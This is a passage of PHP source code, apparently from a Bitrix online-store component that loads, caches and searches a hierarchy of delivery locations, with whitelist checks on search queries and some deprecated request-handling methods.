			$CACHE_MANAGER->RegisterTag(LocationHelper::LOCATION_LINK_DATA_CACHE_TAG);
			$CACHE_MANAGER->EndTagCache();

			$this->endCache($cachedData);
		}
		else
			$cachedData = $this->getCacheData();

		$this->dbResult = array_merge($this->dbResult, $cachedData);

		$this->obtainCacheDependentData();
	}

	// at this point we can make descision to interrupt component execution, based on some conditions
	protected function obtainNonCachedData()
	{
		// fetch selected location data
		$this->obtainDataLocation();
	}

	// here we pick up cached data
	protected function obtainCachedData(&$cachedData)
	{
		$this->obtainDataLocationTypes($cachedData);
		$this->obtainDataConnectLocations($cachedData);
		$this->obtainDataDefaultLocations($cachedData);
	}

	// here we pick up data that depends on what cached data we currently have
	protected function obtainCacheDependentData()
	{
		$this->obtainDataAdditional();
	}

	protected function obtainDataLocation()
	{
		$parameters = $this->getLocationListParameters();

		$this->dbResult['PATH'] = array();
		$this->dbResult['LOCATION'] = array();
		$this->dbResult['PRECACHED_POOL'] = array();

		$toBeFound = false;
		$res = false;
		try
		{
			if($this->arParams['ID'])
			{
				$toBeFound = true;
				$res = Location\LocationTable::getPathToNode($this->arParams['ID'], $parameters);
			}
			elseif(strlen($this->arParams['CODE']))
			{
				$toBeFound = true;
				$res = Location\LocationTable::getPathToNodeByCode($this->arParams['CODE'], $parameters);
			}

			if($res)
			{
				$res->addReplacedAliases(array('LNAME' => 'NAME'));

				while($item = $res->Fetch())
				{
					$this->dbResult['PATH'][intval($item['ID'])] = $this->forceToType($item);
					$this->dbResult['PRECACHED_POOL'][$item['PARENT_ID']][$item['ID']] = $item;
				}

				end($this->dbResult['PATH']);
				$this->dbResult['LOCATION'] = current($this->dbResult['PATH']);
			}
		}
		catch(Main\SystemException $e)
		{
		}

		if(empty($this->dbResult['PATH']) && $toBeFound)
			$this->errors['NONFATAL'][] = Loc::getMessage('SALE_SLS_SELECTED_NODE_NOT_FOUND');
	}

	protected function getLocationListParameters()
	{
		return array(
			'select' => array_merge($this->getNodeSelectFields(), array(
				'LNAME' => 'NAME.NAME',
				'SHORT_NAME' => 'NAME.SHORT_NAME',
				'LEFT_MARGIN',
				'RIGHT_MARGIN',
			)),
			'filter' => array(
				'NAME.LANGUAGE_ID' => LANGUAGE_ID
			)
		);
	}

	protected function obtainDataLocationTypes(&$cachedData)
	{
		$res = Location\TypeTable::getList(array('select' => array('ID', 'CODE'), 'order' => array('SORT' => 'asc')));
		while($item = $res->fetch())
		{
			$id = $item['ID'];
			unset($item['ID']);
			$cachedData['TYPES'][$id] = $item;
		}
	}

	protected function obtainDataConnectLocations(&$cachedData)
	{
		$points = array();
		if($this->filterBySite)
		{
			$res = Location\SiteLocationTable::getConnectedLocations($this->arParams['FILTER_SITE_ID'], array('select' => array(
					'ID' => 'ID',
					'LEFT_MARGIN' => 'LEFT_MARGIN',
					'RIGHT_MARGIN' => 'RIGHT_MARGIN',
					'DEPTH_LEVEL',
					'PARENT_ID'
				)
			), array('GET_LINKED_THROUGH_GROUPS' => true));

			while($item = $res->fetch())
				$points[intval($item['ID'])] = $item;
		}

		$cachedData['TEMP']['CONNECTORS'] = $points;
	}

	/**
	 * Read some data from database, using cache
	 * @return void
	 */
	protected function obtainDataDefaultLocations(&$cachedData)
	{
		if(!$this->arParams['SHOW_DEFAULT_LOCATIONS'])
		{
			return;
		}

		$res = Location\DefaultSiteTable::getList(array(
			'filter' => array(
				'SITE_ID' => $this->arParams['FILTER_SITE_ID'],
				'LOCATION.NAME.LANGUAGE_ID' => LANGUAGE_ID
			),
			'order' => array(
				'SORT' => 'asc'
			),
			'select' => array(
				'CODE' => 'LOCATION.CODE',
				'ID' => 'LOCATION.ID',
				'PARENT_ID' => 'LOCATION.PARENT_ID',
				'TYPE_ID' => 'LOCATION.TYPE_ID',
				'LATITUDE' => 'LOCATION.LATITUDE',
				'LONGITUDE' => 'LOCATION.LONGITUDE',

				'NAME' => 'LOCATION.NAME.NAME',
				'SHORT_NAME' => 'LOCATION.NAME.SHORT_NAME',

				'LEFT_MARGIN' => 'LOCATION.LEFT_MARGIN',
				'RIGHT_MARGIN' => 'LOCATION.RIGHT_MARGIN'
			)
		));
		$defaults = array();
		while($item = $res->Fetch())
		{
			$defaults[$item['ID']] = $item;
		}

		if($this->filterBySite && !empty($defaults))
		{
			// check default locations to be REALLY connected with a site

			$linkTypeMap = Location\SiteLocationTable::getLinkStatusForMultipleNodes($defaults, $this->arParams['FILTER_SITE_ID'], $cachedData['TEMP']['CONNECTORS']);

			foreach($defaults as $id => $default)
			{
				if(!in_array($linkTypeMap[$id], array(Location\Connector::LSTAT_IS_CONNECTOR, Location\Connector::LSTAT_BELOW_CONNECTOR)))
					unset($defaults[$id]);
			}
		}

		foreach($defaults as &$default)
		{
			unset($default['LEFT_MARGIN']);
			unset($default['RIGHT_MARGIN']);
		}

		$cachedData['DEFAULT_LOCATIONS'] = $defaults;
	}

	protected function obtainDataAdditional()
	{
		if($this->filterBySite && $this->dbResult['LOCATION']['ID'])
		{
			$linkTypeMap = Location\SiteLocationTable::getLinkStatusForMultipleNodes(array($this->dbResult['LOCATION']), $this->arParams['FILTER_SITE_ID'], $this->dbResult['TEMP']['CONNECTORS']);

			if(!in_array($linkTypeMap[$this->dbResult['LOCATION']['ID']], array(Location\Connector::LSTAT_IS_CONNECTOR, Location\Connector::LSTAT_BELOW_CONNECTOR)))
			{
				$this->dbResult['PATH'] = array();
				$this->dbResult['LOCATION'] = array();
				$this->errors['NONFATAL'][] = Loc::getMessage('SALE_SLS_SELECTED_NODE_NOT_FOUND');
			}
		}
	}

	protected function getCacheDependences()
	{
		return	array(
					static::getClassName().
					self::getStrForVariable($this->arParams['FILTER_BY_SITE']), // $this->filterBySite ???
					self::getStrForVariable($this->arParams['FILTER_SITE_ID']),
					self::getStrForVariable($this->arParams['SHOW_DEFAULT_LOCATIONS']),
					LANGUAGE_ID
				);
	}

	protected static function getStrForVariable($val)
	{
		return ':'.($val ? strval($val) : '0').':';
	}

	protected static function getNodeSelectFields()
	{
		// todo: here we can have a comoponent paramter which allows to select what fields to choose to display

		return array(
			'ID',
			'CODE',
			'SORT',
			'PARENT_ID',
			'LONGITUDE',
			'LATITUDE',
			'TYPE_ID',
			//'NAME' => 'NAME.NAME'
		);
	}

	protected static function forceToType($node)
	{
		$node['ID'] = intval($node['ID']);
		$node['PARENT_ID'] = intval($node['PARENT_ID']);

		if(isset($node['SORT']))
			$node['SORT'] = intval($node['SORT']);

		if(isset($node['LONGITUDE']))
			$node['LONGITUDE'] = floatval($node['LONGITUDE']);

		if(isset($node['LATITUDE']))
			$node['LATITUDE'] = floatval($node['LATITUDE']);

		if(isset($node['CHILD_CNT']))
			$node['CHILD_CNT'] = intval($node['CHILD_CNT']);

		return $node;
	}

	/**
	 * Move data read from database to a specially formatted $arResult
	 * @return void
	 */
	protected function formatResult()
	{
		unset($this->dbResult['TEMP']);
		$this->arResult =& $this->dbResult;
		$this->arResult['ERRORS'] =& $this->errors;

		if(is_array($this->arResult['LOCATION']))
		{
			if($this->arParams['PROVIDE_LINK_BY'] == 'code')
				$this->arResult['VALUE'] = $this->arResult['LOCATION']['CODE'];
			else
				$this->arResult['VALUE'] = $this->arResult['LOCATION']['ID'];
		}
		else
			$this->arResult['VALUE'] = '';
	}

	/**
	 * Function implements all the life cycle of our component
	 * @return void
	 */
	public function executeComponent()
	{
		if($this->checkRequiredModules() && $this->checkPermissions() && $this->checkParameters())
		{
			$this->processRequest();
			$this->obtainData();
		}

		$this->formatResult();

		$this->includeComponentTemplate();
	}

	//////////////////////////////////////////
	// static functions for external usage

	protected static $allowedLocationFields = array(

		// entity
		'ID' => 'i',
		'CODE' => 's',
		'TYPE_ID' => 'i',
		'SORT' => 'i',
		'LEFT_MARGIN' => 'i',
		'RIGHT_MARGIN' => 'i',
		'PARENT_ID' => 'i',
		'CNT' => 'i',
		'CHILD_CNT' => 'i',
		'IS_PARENT' => 'i',
		'NAME.NAME' => 's',
		'NAME.LANGUAGE_ID' => 's',
		'GROUPLOCATION.LOCATION_GROUP_ID' => 'i',
		'LONGITUDE' => 's',
		'LATITUDE' => 's',

		// special (filter only)
		'PHRASE' => 's',
		'SITE_ID' => 's'
	);

	protected static $allowedAdditionals = array(
		'PATH' => true
	);

	protected static function processSearchRequestV2CheckQuery($parameters)
	{
		// strict check of what came in request

		// only select, filter, PAGE and PAGE_SIZE allowed in $parameters
		$safe = array(
			'select' => isset($parameters['select']) ? $parameters['select'] : array('ID')
		);
		if(isset($parameters['filter']))
			$safe['filter'] = $parameters['filter'];
		if(isset($parameters['additionals']))
			$safe['additionals'] = $parameters['additionals'];
		if(isset($parameters['PAGE']))
			$safe['PAGE'] = intval($parameters['PAGE']);
		if(isset($parameters['PAGE_SIZE']))
			$safe['PAGE_SIZE'] = intval($parameters['PAGE_SIZE']);
		if(isset($parameters['order']))
			$safe['order'] = $parameters['order'];

		$parameters = $safe;

		// check select
		if(!is_array($parameters['select']))
			throw new Main\ArgumentException(Loc::getMessage('SALE_SLS_BAD_QUERY'));

		foreach($parameters['select'] as $alias => $field)
		{
			if(!isset(static::$allowedLocationFields[$field]))
				throw new Main\ArgumentException(Loc::getMessage('SALE_SLS_BAD_QUERY'));

			// only simple aliasing allowed: numbers or words
			if(((string) $alias !== (string) intval($alias)) && !preg_match('#^[a-zA-Z0-9_]+$#', $alias))
				throw new Main\ArgumentException(Loc::getMessage('SALE_SLS_BAD_QUERY'));
		}

		// check filter
		if(isset($parameters['filter']) && !is_array($parameters['filter']))
			throw new Main\ArgumentException(Loc::getMessage('SALE_SLS_BAD_QUERY'));

		//if(!isset($parameters['filter']['=PARENT_ID']) && !isset($parameters['filter']['=PHRASE']))
		//	throw new Main\ArgumentException(Loc::getMessage('SALE_SLS_BAD_QUERY'));

		// phrase should be string and longer than static::START_SEARCH_LEN
		if(isset($parameters['filter']['=PHRASE']) && (!is_string($parameters['filter']['=PHRASE']) || strlen($parameters['filter']['=PHRASE']) < static::START_SEARCH_LEN))
			throw new Main\ArgumentException(Loc::getMessage('SALE_SLS_BAD_QUERY'));

		foreach($parameters['filter'] as $field => $value)
		{
			// only '=' modifier allowed
			$field = preg_replace('#^=#', '', $field);

			if(!isset(static::$allowedLocationFields[$field]))
				throw new Main\ArgumentException(Loc::getMessage('SALE_SLS_BAD_QUERY'));

			if(!is_array($value))
				$value = array($value);

			// check value
			$type = static::$allowedLocationFields[$field];

			foreach($value as $item)
			{
				if(
					($type == 'i' && !((string) $item === (string) intval($item)))
					||
					($type == 's' && !is_string($item))
				)
					throw new Main\ArgumentException(Loc::getMessage('SALE_SLS_BAD_QUERY'));
			}
		}

		// check limitation, if searching by PHRASE
		if((isset($parameters['filter']['PHRASE']) || isset($parameters['filter']['=PHRASE'])) && (!isset($parameters['PAGE_SIZE']) || !isset($parameters['PAGE'])))
			throw new Main\ArgumentException(Loc::getMessage('SALE_SLS_BAD_QUERY'));

		return $parameters;
	}

	protected static function processSearchRequestV2AfterSearchFormatResult(&$data, $parameters)
	{
		if(is_array($data['ITEMS']))
		{
			$selectFlip = array_flip($parameters['select']);

			// drop unwanted data in the result
			foreach($data['ITEMS'] as &$item)
			{
				foreach($item as $fld => $value)
				{
					if(isset(static::$allowedAdditionals[$fld])) // it`s a special field
						continue;

					if(isset($parameters['select'][$fld])) // it`s an alias
						continue;

					if(isset($selectFlip[$fld]) && ((string) $selectFlip[$fld] === (string) intval($selectFlip[$fld]))) // it`s an un-aliased field
						continue;

					unset($item[$fld]);
				}
			}
		}
	}

	protected static function processSearchRequestV2ModifyParameters($parameters)
	{
		// drop data that should not go to find()
		$clean = $parameters;

		// dont get NAME if there is PATH, kz we`ll get NAMES after all
		if(is_array($clean['select']) && is_array($parameters['additionals']) && in_array('PATH', $parameters['additionals']))
		{
			//unset($clean['filter']['=NAME.LANGUAGE_ID']);
			//unset($clean['filter']['NAME.LANGUAGE_ID']);

			foreach($clean['select'] as $alias => $field)
			{
				if($field == 'NAME.NAME')
				{
					unset($clean['select'][$alias]);
				}
			}
		}

		if(intval($clean['filter']['=GROUPLOCATION.LOCATION_GROUP_ID']))
		{
			$clean['runtime']['GROUPLOCATION'] = array(
				'data_type' => 'Bitrix\Sale\Location\GroupLocationTable',
				'reference' => array(
					'=this.ID' => 'ref.LOCATION_ID'
				)
			);
		}

		unset($clean['additionals']);

		$clean['select'][] = 'LEFT_MARGIN';
		$clean['select'][] = 'RIGHT_MARGIN';
		$clean['select'][] = 'ID';
		return $clean;
	}

	protected static function processSearchRequestV2GetFinderBehaviour()
	{
		return array();
	}

	public static function processSearchRequestV2($parameters)
	{
		static::checkRequiredModules();
		$parameters = static::processSearchRequestV2CheckQuery($parameters);

		// map page & page_size => limit & offset
		if($pageSize = intval($parameters['PAGE_SIZE']))
		{
			$page = intval($parameters['PAGE']);

			$parameters['limit'] = $pageSize;
			$parameters['offset'] = ($page ? $page * $pageSize : 0);
		}

		$parameters['select'][] = 'CHILD_CNT';

		unset($parameters['PAGE_SIZE']);
		unset($parameters['PAGE']);

		// do request
		$data = array(
			'ITEMS' => array(),
			'ETC' => array()
		);

		$result = Location\Search\Finder::find(static::processSearchRequestV2ModifyParameters($parameters), static::processSearchRequestV2GetFinderBehaviour());
		while($item = $result->fetch())
		{
			// hack to repair ORM
			if(!isset($item['ID']))
				$item['ID'] = $item['VALUE'];

			if(intval($item['CHILD_CNT']) > 0)
				$item['IS_PARENT'] = true;

			unset($item['CHILD_CNT']);
			$data['ITEMS'][] = $item;
		}

		static::processSearchRequestV2GetAdditional($data, $parameters);
		$parameters['select'][] = 'IS_PARENT';
		static::processSearchRequestV2AfterSearchFormatResult($data, $parameters);

		return $data;
	}

	protected static function processSearchRequestV2GetNameAlias($parameters)
	{
		if(is_array($parameters['select']))
		{
			foreach($parameters['select'] as $alias => $field)
			{
				if($field == 'NAME.NAME')
				{
					if((string) $alias === (string) intval($alias)) // numeric alias
						return 'NAME';
					else
						return $alias;
				}
			}
		}

		return false;
	}

	protected static function getPathNodesSelect()
	{
		return array('ID', 'DISPLAY' => 'NAME.NAME');
	}

	protected static function getPathToNodesV2($list, $parameters = array())
	{
		$select = static::getPathNodesSelect();
		if(is_array($parameters['select']))
		{
			$select = $parameters['select'];

			// orm wont return a correct result in case of array("ID", "VALUE" => "ID") select passed, so orm fix required
			unset($select['VALUE']);
			$select[] = 'ID';
		}

		$result = array(
			'ITEM_NAMES' => array(),
			'PATH_ITEMS' => array()
		);

		try
		{
			$res = Location\LocationTable::getPathToMultipleNodes(
				$list, 
				array(
					'select' => $select,
					'filter' => array('=NAME.LANGUAGE_ID' => (string) $parameters['filter']['=NAME.LANGUAGE_ID'] != '' ? $parameters['filter']['=NAME.LANGUAGE_ID'] : LANGUAGE_ID)
				)
			);
		}
		catch(\Bitrix\Main\ArgumentException $e) // in case of database damage this will be thrown
		{
			LocationHelper::informAdminLocationDatabaseFailure();
			return $result;
		}

		$pathItems = array();
		while($path = $res->fetch())
		{
			// format path as required for JSON responce
			$chain = array();
			$itemId = false;

			$i = -1;
			foreach($path['PATH'] as $id => $pItem)
			{
				$i++;

				if(!$i) // we dont need for an item itself in the path chain
				{
					$itemId = $id;
					$result['ITEM_NAMES'][$id] = $pItem['DISPLAY'];
					continue;
				}

				// orm fix, return everything back
				if(isset($pItem['ID']))
					$pItem['VALUE'] = intval($pItem['ID']);

				$chain[] = intval($pItem['VALUE']);
				$id = $pItem['VALUE'];
				unset($pItem['ID']);

				$pathItems[$id] = $pItem;
			}

			$result['PATH'][$itemId] = $chain;
		}

		$result['PATH_ITEMS'] = $pathItems;

		return $result;
	}

	protected static function processSearchRequestV2GetAdditionalPathNodes(&$data, $parameters)
	{
		$pathes = static::getPathToNodesV2($data['ITEMS'], $parameters);
		$nameAlias = static::processSearchRequestV2GetNameAlias($parameters);

		foreach($data['ITEMS'] as $i => &$item)
		{
			if(empty($pathes['ITEM_NAMES']) || empty($pathes['ITEM_NAMES'][$item['ID']]))
			{
				// we got empty ITEM_NAMES. This is not a normal case, item without a name is not sutable for displaying. Skip.
				unset($data['ITEMS'][$i]);
				continue;
			}

			$item['PATH'] = $pathes['PATH'][$item['ID']];

			if(isset($pathes['ITEM_NAMES'][$item['ID']]) && $nameAlias !== false)
			{
				$item[$nameAlias] = $pathes['ITEM_NAMES'][$item['ID']];
			}
		}

		$data['ETC']['PATH_ITEMS'] = $pathes['PATH_ITEMS'];
	}

	protected static function processSearchRequestV2GetAdditional(&$data, $parameters)
	{
		if(!empty($data['ITEMS']))
		{
			if(is_array($parameters['additionals']) && in_array('PATH', $parameters['additionals']))
			{
				// show path to each found node
				static::processSearchRequestV2GetAdditionalPathNodes($data, $parameters);
			}
		}

		return $data;
	}

	protected static function getClassName()
	{
		return __CLASS__;
	}

	////////////////////////
	// Cache functions
	////////////////////////
	/**
	 * Function checks if cacheing is enabled in component parameters
	 * @return boolean
	 */
	final protected function getCacheNeed()
	{
		return	intval($this->arParams['CACHE_TIME']) > 0 &&
				$this->arParams['CACHE_TYPE'] != 'N' &&
				(!(defined("ADMIN_SECTION") && ADMIN_SECTION == true)) &&
				Config\Option::get("main", "component_cache_on", "Y") == "Y";
	}

	/**
	 * Function perform start of cache process, if needed
	 * @param mixed[]|string $cacheId An optional addition for cache key
	 * @return boolean True, if cache content needs to be generated, false if cache is valid and can be read
	 */
	final protected function startCache($cacheId = array())
	{
		if(!$this->getCacheNeed())
			return true;

		$this->currentCache = Data\Cache::createInstance();

		return $this->currentCache->startDataCache(intval($this->arParams['CACHE_TIME']), $this->getCacheKey($cacheId), static::COMPONENT_CACHE_DIR);
	}

	/**
	 * Function perform start of cache process, if needed
	 * @throws Main\SystemException
	 * @param mixed[] $data Data to be stored in the cache
	 * @return void
	 */
	final protected function endCache($data = false)
	{
		if(!$this->getCacheNeed())
			return;

		if($this->currentCache == 'null')
			throw new Main\SystemException('Cache were not started');

		$this->currentCache->endDataCache($data);
		$this->currentCache = null;
	}

	/**
	 * Function discard cache generation
	 * @throws Main\SystemException
	 * @return void
	 */
	final protected function abortCache()
	{
		if(!$this->getCacheNeed())
			return;

		if($this->currentCache == 'null')
			throw new Main\SystemException('Cache were not started');

		$this->currentCache->abortDataCache();
		$this->currentCache = null;
	}

	/**
	 * Function return data stored in cache
	 * @throws Main\SystemException
	 * @return void|mixed[] Data from cache
	 */
	final protected function getCacheData()
	{
		if(!$this->getCacheNeed())
			return;

		if($this->currentCache == 'null')
			throw new Main\SystemException('Cache were not started');

		return $this->currentCache->getVars();
	}

	/**
	 * Function leaves the ability to modify cache key in future.
	 * @return string Cache key to be used in CPHPCache()
	 */
	final protected function getCacheKey($cacheId = array())
	{
		if(!is_array($cacheId))
			$cacheId = array((string) $cacheId);

		$cacheId['SITE_ID'] = SITE_ID;
		$cacheId['LANGUAGE_ID'] = LANGUAGE_ID;

		// if there are two or more caches with the same id, but with different cache_time, make them separate
		$cacheId['CACHE_TIME'] = intval($this->arResult['CACHE_TIME']);

		if(defined("SITE_TEMPLATE_ID"))
			$cacheId['SITE_TEMPLATE_ID'] = SITE_TEMPLATE_ID;

		return implode('|', $cacheId);
	}

	////////////////////////////////////////////////////////
	// DEPRECATED methods to support DEPRECATED query method

	//////////////////////////////////////////
	// static functions for external usage

	/**
	 * @deprecated
	 */
	protected static function getPathToNodes($list)
	{
		$res = Location\LocationTable::getPathToMultipleNodes(
			$list, 
			array(
				'select' => array('ID', 'LNAME' => 'NAME.NAME'),
				'filter' => array('=NAME.LANGUAGE_ID' => LANGUAGE_ID)
			)
		);

		$pathNames = array();
		$result = array();

		while($path = $res->fetch())
		{
			// format path as required for JSON responce
			$chain = array();
			$itemId = false;

			$i = -1;
			foreach($path['PATH'] as $id => $pItem)
			{
				$i++;

				if(!$i) // we dont need for an item itself in the path chain
				{
					$itemId = $id;
					continue;
				}

				$pathNames[$pItem['ID']] = $pItem['LNAME'];
				$chain[] = intval($pItem['ID']);
			}

			$result['PATH'][$itemId] = $chain;
		}

		$result['PATH_NAMES'] = $pathNames;

		return $result;
	}

	/**
	 * @deprecated
	 */
	public static function processSearchRequest()
	{
		static::checkRequiredModules();

		$parameters = static::processSearchGetParameters();

		$result = static::processSearchGetList($parameters);
		$result = static::processSearchGetAdditional($result);

		// drop unwanted data
		foreach($result['ITEMS'] as &$item)
		{
			unset($item['LEFT_MARGIN']);
			unset($item['RIGHT_MARGIN']);
		}

		return $result;
	}

	/**
	 * @deprecated
	 */
	protected static function processSearchGetParameters()
	{
		$parameters = array(
			'select' => static::processSearchGetSelect(),
			'filter' => static::processSearchGetFilter()
		);

		if($pageSize = intval($_REQUEST['PAGE_SIZE']))
		{
			$page = intval($_REQUEST['PAGE']);

			$parameters['limit'] = $pageSize;
			$parameters['offset'] = ($page ? $page * $pageSize : 0);
		}

		return $parameters;
	}

	/**
	 * @deprecated
	 */
	protected static function processSearchRequestGetLang()
	{
		return strlen($_REQUEST['BEHAVIOUR']['LANGUAGE_ID']) ? $_REQUEST['BEHAVIOUR']['LANGUAGE_ID'] : LANGUAGE_ID;
	}

	/**
	 * @deprecated
	 */
	protected static function processSearchGetFilter()
	{
		if(!isset($_REQUEST['FILTER']['PARENT_ID']) && !isset($_REQUEST['FILTER']['QUERY'])) // ddos protection
			throw new Main\SystemException(Loc::getMessage('SALE_SLS_BAD_QUERY'));

		$rFilter = $_REQUEST['FILTER'];
		$langId = static::processSearchRequestGetLang();

		// filter

		$filter = array(
			'LANGUAGE_ID' => $langId
		);

		if(strlen($rFilter['SITE_ID']))
			$filter['SITE_ID'] = $rFilter['SITE_ID'];

		if($_REQUEST['BEHAVIOUR']['EXPECT_EXACT'])
		{
			###################################
			# exact search
			###################################

			// EXPECT_EXACT assumes presence of QUERY key in query. in this case QUERY is being treated as an exact value for ID
			if(!strlen($rFilter['QUERY']))
				throw new Main\SystemException(Loc::getMessage('SALE_SLS_BAD_QUERY'));

			$filter['ID'] = intval($rFilter['QUERY']);
		}
		else
		{
			###################################
			# Non-exact search, there could be a set of matched elements
			###################################

			if(strlen($rFilter['QUERY']))
			{
				if(strlen($rFilter['QUERY']) >= static::START_SEARCH_LEN)
					$filter['NAME'] = $rFilter['QUERY'];

				if($_REQUEST['BEHAVIOUR']['SEARCH_BY_PRIMARY'])
					$filter['PRIMARY'] = $rFilter['QUERY'];
			}

			if(isset($rFilter['PARENT_ID']) && intval($rFilter['PARENT_ID']) >= 0)
				$filter['PARENT_ID'] = intval($rFilter['PARENT_ID']);

			if($typeId = intval($rFilter['TYPE_ID']))
				$filter['TYPE_ID'] = $typeId;
		}

		return $filter;
	}

	/**
	 * @deprecated
	 */
	protected static function processSearchGetSelect()
	{
		$select = array();
		if($_REQUEST['SHOW']['CHILD_EXISTENCE'])
			$select[] = 'CHILD_CNT';

		if($_REQUEST['SHOW']['TYPE_ID'])
			$select[] = 'TYPE_ID';

		return $select;
	}

	/**
	 * @deprecated
	 */
	protected static function processSearchGetList($parameters)
	{
		$res = Location\LocationTable::getListFast($parameters);

		$result = array();
		while($item = $res->fetch())
			$result[] = $item;

		return $result;
	}

	/**
	 * @deprecated
	 */
	protected static function processSearchGetAdditionalPathNodes(&$data)
	{
		if($_REQUEST['SHOW']['PATH'] && is_array($data['ITEMS']))
		{
			$pathes = static::getPathToNodes($data['ITEMS']);

			foreach($data['ITEMS'] as &$item)
				$item['PATH'] = $pathes['PATH'][$item['ID']];

			$data['ETC']['PATH_NAMES'] = $pathes['PATH_NAMES'];
		}
	}

	/**
	 * @deprecated
	 */
	protected static function processSearchGetAdditional($result)
	{
		$data = array(
			'ITEMS' => $result,
			'ETC' => array()
		);

		if(!empty($result))
		{
			###################################
			# Additional extras
			###################################

			// show path to each found node
			static::processSearchGetAdditionalPathNodes($data);

			// show item count based on filter, but only when the first page called (it may be useful for calculating client-side pager)
			if(intval($_REQUEST['PAGE_SIZE']) && !intval($_REQUEST['PAGE']) && $_REQUEST['SHOW']['ITEM_COUNT'])
			{
				$filter = static::processSearchGetFilter();
				// spike! spike! spike!
				// we hope we can make filter compatible with ORM by replacing getListFast with smth cleverer, but for now we got only option:
				unset($filter['LANGUAGE_ID']);

				$res = Location\LocationTable::getList(array(
					'runtime' => array(
						'CNT' => array(
							'data_type' => 'integer',
							'expression' => array('COUNT(*)')
						)
					),
					'select' => array('CNT'),
					'filter' => $filter
				))->fetch();

				$data['ETC']['TOTAL_ITEM_COUNT'] = intval($res['CNT']);
			}
		}

		return $data;
	}

	/**
	 * @deprecated
	 */
	protected static function isNonemptyArray($arr)
	{
		return is_array($arr) && !empty($arr);
	}
}